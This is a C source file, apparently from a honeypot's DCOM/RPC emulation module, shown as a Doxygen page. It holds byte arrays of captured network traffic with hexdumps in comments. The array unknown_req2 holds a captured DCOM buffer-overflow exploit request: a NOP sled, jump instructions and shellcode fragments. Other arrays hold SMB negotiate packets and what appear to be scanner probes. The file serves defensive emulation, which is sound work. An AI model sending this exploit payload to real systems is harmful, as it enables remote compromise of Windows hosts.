0x0560  68 7a 71 71 6b 69 6c 69  62 62 77 77 64 62 61 6d  hzqqkili bbwwdbam
0x0570  62 77 72 67 66 65 6b 73  70 7a 71 75 76 75 69 63  bwrgfeks pzquvuic
0x0580  74 61 74 6c 63 75 64 6a  65 6a 64 69 6e 78 6c 70  tatlcudj ejdinxlp
0x0590  7a 6e 7a 6c 6c 6e 62 70  63 6d 61 6a 77 70 68 71  znzllnbp cmajwphq
=-------------------------------------------------------------------------=
DCOMDialogue.cpp:100 [ handler dia ] Unknown DCOM request, repling 64 bytes crap
core/src/TCPSocket.cpp:400 [ net handler ] doRecv() 234
=------------------[ hexdump(0x52bfe100 , 0x000000ea) ]-------------------=
0x0000  6c 67 68 6e 75 79 7a 6d  71 68 71 69 6d 73 70 76  lghnuyzm qhqimspv
0x0010  74 6f 74 75 75 6f 62 68  72 6b 66 7a 75 72 78 70  totuuobh rkfzurxp
0x0020  76 62 6e 61 75 68 7a 63  6d 72 64 62 78 71 74 64  vbnauhzc mrdbxqtd
0x0030  77 6f 8b 45 30 05 24 fb  ff ff ff e0 eb f4 79 68  wo.E0.$. ......yh
0x0040  0b 0b 1b 00 66 74 73 62  69 78 7a 68 75 70 70 62  ....ftsb ixzhuppb
0x0050  6d 7a 76 7a 6a 72 62 63  7a 73 73 65 6c 64 68 78  mzvzjrbc zsseldhx
0x0060  7a 64 6a 65 76 70 69 68  78 65 73 66 77 6d 6d 77  zdjevpih xesfwmmw
0x0070  77 70 70 75 62 77 6c 7a  eb 06 75 76 59 1c 00 01  wppubwlz ..uvY...
0x0080  8b 44 24 fc 05 e0 fa ff  ff ff e0 67 6d 66 73 64  .D$..... ...gmfsd
0x0090  6e 6c 66 71 66 66 79 68  64 6c 74 72 77 6b 70 6b  nlfqffyh dltrwkpk
0x00a0  75 6a 73 69 71 70 6b 6d  67 65 65 6d 6f 70 5c 00  ujsiqpkm geemop\.
0x00b0  41 00 00 00 00 00 00 00  00 00 00 00 02 00 00 00  A....... ........
0x00c0  00 00 00 00 01 00 00 00  68 1c 09 00 01 00 00 00  ........ h.......
0x00d0  00 00 00 00 00 00 00 00  c0 00 00 00 00 00 00 46  ........ .......F
0x00e0  01 00 00 00 01 00 00 00  07 00                    ........ ..
=-------------------------------------------------------------------------=
*/


unsigned char unknown_req2[] = {
 0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0x8a,0x06,0x00,0x00,0x00,0x00,0x00,0x00
,0x72,0x06,0x00,0x00,0x00,0x00,0x00,0x00,0x05,0x00,0x01,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x58,0x7d,0x75,0x75,0x40,0xeb,0xc6,0x47,0xbc,0x71,0x4e,0xa7
,0x1c,0xd0,0xb5,0x97,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x09,0x00,0x00,0x03,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x5c,0x00,0x5c,0x00,0x90,0x90,0x90,0x90
,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90
,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0xeb,0x10,0xeb,0x19
,0x9f,0x75,0x18,0x00,0x23,0x37,0xf3,0x77,0xeb,0xe0,0xfd,0x7f,0x90,0x90,0x90,0x90
,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90
,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90
,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90
,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90
,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90
,0x90,0x90,0x90,0x90,0xeb,0x04,0xff,0xff,0xff,0xff,0x90,0x90,0x90,0x90,0x90,0x90
,0x90,0x90,0xeb,0x04,0xeb,0x04,0x90,0x90,0x90,0x90,0xeb,0x04,0xff,0xff,0xff,0xff
,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90
,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90
,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90
,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90
,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90
,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90
,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90
,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90
,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90
,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90
,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90
,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90
,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90
,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90
,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90
,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90
,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90
,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90
,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90
,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90
,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90
,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90
,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90
,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90
,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90
,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90
,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90
,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90
,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90
,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90
,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90
,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90
,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90
,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90
,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90
,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90
,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90
,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90
,0x65,0x65,0x70,0x75,0x61,0x6a,0x7a,0x68,0x71,0x6e,0x73,0x75,0x67,0x78,0x6e,0x6b
,0x77,0x62,0x75,0x76,0x6b,0x77,0x6a,0x73,0x69,0x66,0x64,0x6f,0x74,0x77,0x6c,0x70
,0x62,0x7a,0x65,0x7a,0x67,0x72,0x74,0x66,0x70,0x67,0x68,0x6d,0x6c,0x61,0x6f,0x72
,0x65,0x75,0x79,0x61,0x79,0x63,0x64,0x69,0x78,0x61,0x76,0x77,0x68,0x70,0x63,0x74
,0x74,0x78,0x63,0x73,0x75,0x61,0x64,0x66,0x6d,0x6f,0x61,0x6b,0x6f,0x63,0x65,0x66
,0x67,0x66,0x76,0x6e,0x69,0x6f,0x6d,0x6a,0x7a,0x6f,0x73,0x70,0x73,0x72,0x68,0x6a
,0x68,0x7a,0x71,0x71,0x6b,0x69,0x6c,0x69,0x62,0x62,0x77,0x77,0x64,0x62,0x61,0x6d
,0x62,0x77,0x72,0x67,0x66,0x65,0x6b,0x73,0x70,0x7a,0x71,0x75,0x76,0x75,0x69,0x63
,0x74,0x61,0x74,0x6c,0x63,0x75,0x64,0x6a,0x65,0x6a,0x64,0x69,0x6e,0x78,0x6c,0x70
,0x7a,0x6e,0x7a,0x6c,0x6c,0x6e,0x62,0x70,0x63,0x6d,0x61,0x6a,0x77,0x70,0x68,0x71
,0x6c,0x67,0x68,0x6e,0x75,0x79,0x7a,0x6d,0x71,0x68,0x71,0x69,0x6d,0x73,0x70,0x76
,0x74,0x6f,0x74,0x75,0x75,0x6f,0x62,0x68,0x72,0x6b,0x66,0x7a,0x75,0x72,0x78,0x70
,0x76,0x62,0x6e,0x61,0x75,0x68,0x7a,0x63,0x6d,0x72,0x64,0x62,0x78,0x71,0x74,0x64
,0x77,0x6f,0x8b,0x45,0x30,0x05,0x24,0xfb,0xff,0xff,0xff,0xe0,0xeb,0xf4,0x79,0x68
,0x0b,0x0b,0x1b,0x00,0x66,0x74,0x73,0x62,0x69,0x78,0x7a,0x68,0x75,0x70,0x70,0x62
,0x6d,0x7a,0x76,0x7a,0x6a,0x72,0x62,0x63,0x7a,0x73,0x73,0x65,0x6c,0x64,0x68,0x78
,0x7a,0x64,0x6a,0x65,0x76,0x70,0x69,0x68,0x78,0x65,0x73,0x66,0x77,0x6d,0x6d,0x77
,0x77,0x70,0x70,0x75,0x62,0x77,0x6c,0x7a,0xeb,0x06,0x75,0x76,0x59,0x1c,0x00,0x01
,0x8b,0x44,0x24,0xfc,0x05,0xe0,0xfa,0xff,0xff,0xff,0xe0,0x67,0x6d,0x66,0x73,0x64
,0x6e,0x6c,0x66,0x71,0x66,0x66,0x79,0x68,0x64,0x6c,0x74,0x72,0x77,0x6b,0x70,0x6b
,0x75,0x6a,0x73,0x69,0x71,0x70,0x6b,0x6d,0x67,0x65,0x65,0x6d,0x6f,0x70,0x5c,0x00
,0x41,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x02,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x68,0x1c,0x09,0x00,0x01,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46
,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x07,0x00
};





/*
ntscan 
=------------------[ hexdump(0x52bfdc10 , 0x00000089) ]-------------------=
0x0000  00 00 00 85 ff 53 4d 42  72 00 00 00 00 18 53 c8  .....SMB r.....S.
0x0010  00 00 00 00 00 00 00 00  00 00 00 00 00 00 ff fe  ........ ........
0x0020  00 00 00 00 00 62 00 02  50 43 20 4e 45 54 57 4f  .....b.. PC NETWO
0x0030  52 4b 20 50 52 4f 47 52  41 4d 20 31 2e 30 00 02  RK PROGR AM 1.0..
0x0040  4c 41 4e 4d 41 4e 31 2e  30 00 02 57 69 6e 64 6f  LANMAN1. 0..Windo
0x0050  77 73 20 66 6f 72 20 57  6f 72 6b 67 72 6f 75 70  ws for W orkgroup
0x0060  73 20 33 2e 31 61 00 02  4c 4d 31 2e 32 58 30 30  s 3.1a.. LM1.2X00
0x0070  32 00 02 4c 41 4e 4d 41  4e 32 2e 31 00 02 4e 54  2..LANMA N2.1..NT
0x0080  20 4c 4d 20 30 2e 31 32  00                        LM 0.12 .
=-------------------------------------------------------------------------=
*/
unsigned char ntscan_req1[]={
0x00,0x00,0x00,0x85,0xff,0x53,0x4d,0x42,0x72,0x00,0x00,0x00,0x00,0x18,0x53,0xc8
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0xfe
,0x00,0x00,0x00,0x00,0x00,0x62,0x00,0x02,0x50,0x43,0x20,0x4e,0x45,0x54,0x57,0x4f
,0x52,0x4b,0x20,0x50,0x52,0x4f,0x47,0x52,0x41,0x4d,0x20,0x31,0x2e,0x30,0x00,0x02
,0x4c,0x41,0x4e,0x4d,0x41,0x4e,0x31,0x2e,0x30,0x00,0x02,0x57,0x69,0x6e,0x64,0x6f
,0x77,0x73,0x20,0x66,0x6f,0x72,0x20,0x57,0x6f,0x72,0x6b,0x67,0x72,0x6f,0x75,0x70
,0x73,0x20,0x33,0x2e,0x31,0x61,0x00,0x02,0x4c,0x4d,0x31,0x2e,0x32,0x58,0x30,0x30
,0x32,0x00,0x02,0x4c,0x41,0x4e,0x4d,0x41,0x4e,0x32,0x2e,0x31,0x00,0x02,0x4e,0x54
,0x20,0x4c,0x4d,0x20,0x30,0x2e,0x31,0x32,0x00};

/*

*/



unsigned char ntscan_rep1[]={
0x00,0x00,0x00,0x55,0xff,0x53,0x4d,0x42,0x72,0x00,0x00,0x00,0x00,0x98,0x53,0xc8
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0xfe
,0x00,0x00,0x00,0x00,0x11,0x05,0x00,0x03,0x0a,0x00,0x01,0x00,0x04,0x11,0x00,0x00
,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0xfd,0xe3,0x00,0x80,0xa6,0xc6,0x8d,0x9b
,0x02,0x50,0xc5,0x01,0x88,0xff,0x00,0x10,0x00,0x5a,0xcb,0x24,0x0d,0x59,0x31,0xc9
,0x45,0xa5,0x7a,0xe0,0xe9,0x65,0x74,0xf5,0xc9
};


/*
=------------------[ hexdump(0xbffff130 , 0x000000a8) ]-------------------=
0x0000  00 00 00 a4 ff 53 4d 42  73 00 00 00 00 18 07 c8  .....SMB s.......
0x0010  00 00 00 00 00 00 00 00  00 00 00 00 00 00 ff fe  ........ ........
0x0020  00 00 10 00 0c ff 00 a4  00 04 11 0a 00 00 00 00  ........ ........
0x0030  00 00 00 20 00 00 00 00  00 d4 00 00 80 69 00 4e  ... .... .....i.N
0x0040  54 4c 4d 53 53 50 00 01  00 00 00 97 82 08 e0 00  TLMSSP.. ........
0x0050  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ........ ........
0x0060  57 00 69 00 6e 00 64 00  6f 00 77 00 73 00 20 00  W.i.n.d. o.w.s. .
0x0070  32 00 30 00 30 00 30 00  20 00 32 00 31 00 39 00  2.0.0.0.  .2.1.9.
0x0080  35 00 00 00 57 00 69 00  6e 00 64 00 6f 00 77 00  5...W.i. n.d.o.w.
0x0090  73 00 20 00 32 00 30 00  30 00 30 00 20 00 35 00  s. .2.0. 0.0. .5.
0x00a0  2e 00 30 00 00 00 00 00                           ..0.....
=-------------------------------------------------------------------------=
*/

unsigned char ntscan_req2[]=
{

};



// todo 
unsigned char fear1[]={
0x05,0x00,0x0b,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x09,0x00,0x00,0x00,
0xd0,0x16,0xd0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x02,0x00,0x01,0x00,
0xb8,0x4a,0x9f,0x4d,0x1c,0x7d,0xcf,0x11,0x86,0x1e,0x00,0x20,0xaf,0x6e,0x7c,0x57,
0x00,0x00,0x00,0x00,0x04,0x5d,0x88,0x8a,0xeb,0x1c,0xc9,0x11,0x9f,0xe8,0x08,0x00,
0x2b,0x10,0x48,0x60,0x02,0x00,0x00,0x00};

unsigned char fear2[] = {
0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0x7e,0x00,0x00,0x00,0x09,0x00,0x00,0x00,
0x66,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x05,0x00,0x01,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x6b,0xac,0xd8,0x08,0x2f,0x2e,0x03,0x48,0xaa,0xdc,0xc1,0x6a,
0x62,0xfb,0xeb,0x98,0x00,0x00,0x00,0x00,0xf8,0x91,0x7b,0x5a,0x00,0xff,0xd0,0x11,
0xa9,0xb2,0x00,0xc0,0x4f,0xb6,0xe6,0xfc,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x02,0x00,0x00,0x00,0xff,0xff,0xff,0xff,0x01,0x00,0x00,0x00,0x38,0xff,0x0a,0x00,
0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,
0x00,0x00,0x00,0x46,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x07,0x00};

unsigned char fear3[] = {
0x05,0x00,0x0b,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x65,0x45,0x79,0x65,
0xd0,0x16,0xd0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x01,0x00,
0xb8,0x4a,0x9f,0x4d,0x1c,0x7d,0xcf,0x11,0x86,0x1e,0x00,0x20,0xaf,0x6e,0x7c,0x57,
0x00,0x00,0x00,0x00,0x04,0x5d,0x88,0x8a,0xeb,0x1c,0xc9,0x11,0x9f,0xe8,0x08,0x00,
0x2b,0x10,0x48,0x60,0x02,0x00,0x00,0x00
};

unsigned char fear4[] = {
0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xc6,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0xae,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x05,0x00,0x01,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x5b,0x52,0x65,0x74,0x69,0x6e,0x61,0x5d,0x5b,0x52,0x65,0x74,
0x69,0x6e,0x61,0x5d,0x00,0x00,0x00,0x00,0x65,0x45,0x79,0x65,0x32,0x30,0x30,0x33,
0x65,0x45,0x79,0x65,0x32,0x30,0x30,0x33,0x68,0x0f,0x0b,0x00,0x1e,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x1e,0x00,0x00,0x00,0x5c,0x00,0x5c,0x00,0x41,0x00,0x00,0x00,
0x5c,0x00,0x00,0x00,0x63,0x00,0x24,0x00,0x5c,0x00,0x65,0x00,0x45,0x00,0x79,0x00,
0x65,0x00,0x5f,0x00,0x32,0x00,0x30,0x00,0x30,0x00,0x33,0x00,0x5f,0x00,0x52,0x00,
0x65,0x00,0x74,0x00,0x69,0x00,0x6e,0x00,0x61,0x00,0x2e,0x00,0x74,0x00,0x78,0x00,
0x74,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x02,0x00,0x00,0x00,
0x01,0x00,0x00,0x00,0xb8,0xeb,0x0b,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,
0x01,0x00,0x00,0x00,0x07,0x00
};



// follows the bindstring
unsigned char dcom_unknown_req2[] = {
0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0x18,0x00,0x00,0x00,0x01,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 
};

/*
=------------------[ hexdump(0xbffff2d0 , 0x00000130) ]-------------------=
0x0000  05 00 02 03 10 00 00 00  30 01 00 00 01 00 00 00  ........ 0.......
0x0010  18 01 00 00 00 00 00 00  18 46 0b 00 0b 00 00 00  ........ .F......
0x0020  0b 00 00 00 e0 0d 09 00  00 0e 09 00 c8 2e 09 00  ........ ........
0x0030  e8 2e 09 00 08 2f 09 00  28 2f 09 00 48 2f 09 00  ...../.. (/..H/..
0x0040  68 2f 09 00 88 2f 09 00  a8 2f 09 00 c8 2f 09 00  h/.../.. ./.../..
0x0050  08 83 af e1 1f 5d c9 11  91 a4 08 00 2b 14 a0 fa  .....].. ....+...
0x0060  03 00 00 00 84 65 0a 0b  0f 9e cf 11 a3 cf 00 80  .....e.. ........
0x0070  5f 68 cb 1b 01 00 01 00  b0 01 52 97 ca 59 d0 11  _h...... ..R..Y..
0x0080  a8 d5 00 a0 c9 0d 80 51  01 00 00 00 e6 73 0c e6  .......Q .....s..
0x0090  f9 88 cf 11 9a f1 00 20  af 6e 72 f4 02 00 00 00  .......  .nr.....
0x00a0  c4 fe fc 99 60 52 1b 10  bb cb 00 aa 00 21 34 7a  ....`R.. .....!4z
0x00b0  00 00 00 00 60 9e e7 b9  52 3d ce 11 aa a1 00 00  ....`... R=......
0x00c0  69 01 29 3f 00 00 02 00  1e 24 2f 41 2a c1 ce 11  i.)?.... .$/A*...
0x00d0  ab ff 00 20 af 6e 7a 17  00 00 02 00 36 01 00 00  ... .nz. ....6...
0x00e0  00 00 00 00 c0 00 00 00  00 00 00 46 00 00 00 00  ........ ...F....
0x00f0  72 ee f3 c6 7e ce d1 11  b7 1e 00 c0 4f c3 11 1a  r...~... ....O...
0x0100  01 00 00 00 b8 4a 9f 4d  1c 7d cf 11 86 1e 00 20  .....J.M .}..... 
0x0110  af 6e 7c 57 00 00 00 00  a0 01 00 00 00 00 00 00  .n|W.... ........
0x0120  c0 00 00 00 00 00 00 46  00 00 00 00 00 00 00 00  .......F ........
=-------------------------------------------------------------------------=
*/
char dcom_unknown_rep2[] = {
0x05, 0x00, 0x02, 0x03, 0x10, 0x00, 0x00, 0x00,  0x30, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
0x18, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  0x18, 0x46, 0x0b, 0x00, 0x0b, 0x00, 0x00, 0x00,
0x0b, 0x00, 0x00, 0x00, 0xe0, 0x0d, 0x09, 0x00,  0x00, 0x0e, 0x09, 0x00, 0xc8, 0x2e, 0x09, 0x00,
0xe8, 0x2e, 0x09, 0x00, 0x08, 0x2f, 0x09, 0x00,  0x28, 0x2f, 0x09, 0x00, 0x48, 0x2f, 0x09, 0x00,
0x68, 0x2f, 0x09, 0x00, 0x88, 0x2f, 0x09, 0x00,  0xa8, 0x2f, 0x09, 0x00, 0xc8, 0x2f, 0x09, 0x00,
0x08, 0x83, 0xaf, 0xe1, 0x1f, 0x5d, 0xc9, 0x11,  0x91, 0xa4, 0x08, 0x00, 0x2b, 0x14, 0xa0, 0xfa,
0x03, 0x00, 0x00, 0x00, 0x84, 0x65, 0x0a, 0x0b,  0x0f, 0x9e, 0xcf, 0x11, 0xa3, 0xcf, 0x00, 0x80,
0x5f, 0x68, 0xcb, 0x1b, 0x01, 0x00, 0x01, 0x00,  0xb0, 0x01, 0x52, 0x97, 0xca, 0x59, 0xd0, 0x11,
0xa8, 0xd5, 0x00, 0xa0, 0xc9, 0x0d, 0x80, 0x51,  0x01, 0x00, 0x00, 0x00, 0xe6, 0x73, 0x0c, 0xe6,
0xf9, 0x88, 0xcf, 0x11, 0x9a, 0xf1, 0x00, 0x20,  0xaf, 0x6e, 0x72, 0xf4, 0x02, 0x00, 0x00, 0x00,
0xc4, 0xfe, 0xfc, 0x99, 0x60, 0x52, 0x1b, 0x10,  0xbb, 0xcb, 0x00, 0xaa, 0x00, 0x21, 0x34, 0x7a,
0x00, 0x00, 0x00, 0x00, 0x60, 0x9e, 0xe7, 0xb9,  0x52, 0x3d, 0xce, 0x11, 0xaa, 0xa1, 0x00, 0x00,
0x69, 0x01, 0x29, 0x3f, 0x00, 0x00, 0x02, 0x00,  0x1e, 0x24, 0x2f, 0x41, 0x2a, 0xc1, 0xce, 0x11,
0xab, 0xff, 0x00, 0x20, 0xaf, 0x6e, 0x7a, 0x17,  0x00, 0x00, 0x02, 0x00, 0x36, 0x01, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00,  0x00, 0x00, 0x00, 0x46, 0x00, 0x00, 0x00, 0x00,
0x72, 0xee, 0xf3, 0xc6, 0x7e, 0xce, 0xd1, 0x11,  0xb7, 0x1e, 0x00, 0xc0, 0x4f, 0xc3, 0x11, 0x1a,
0x01, 0x00, 0x00, 0x00, 0xb8, 0x4a, 0x9f, 0x4d,  0x1c, 0x7d, 0xcf, 0x11, 0x86, 0x1e, 0x00, 0x20,
0xaf, 0x6e, 0x7c, 0x57, 0x00, 0x00, 0x00, 0x00,  0xa0, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46,  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
};


Generated by  Doxygen 1.6.0   Back to index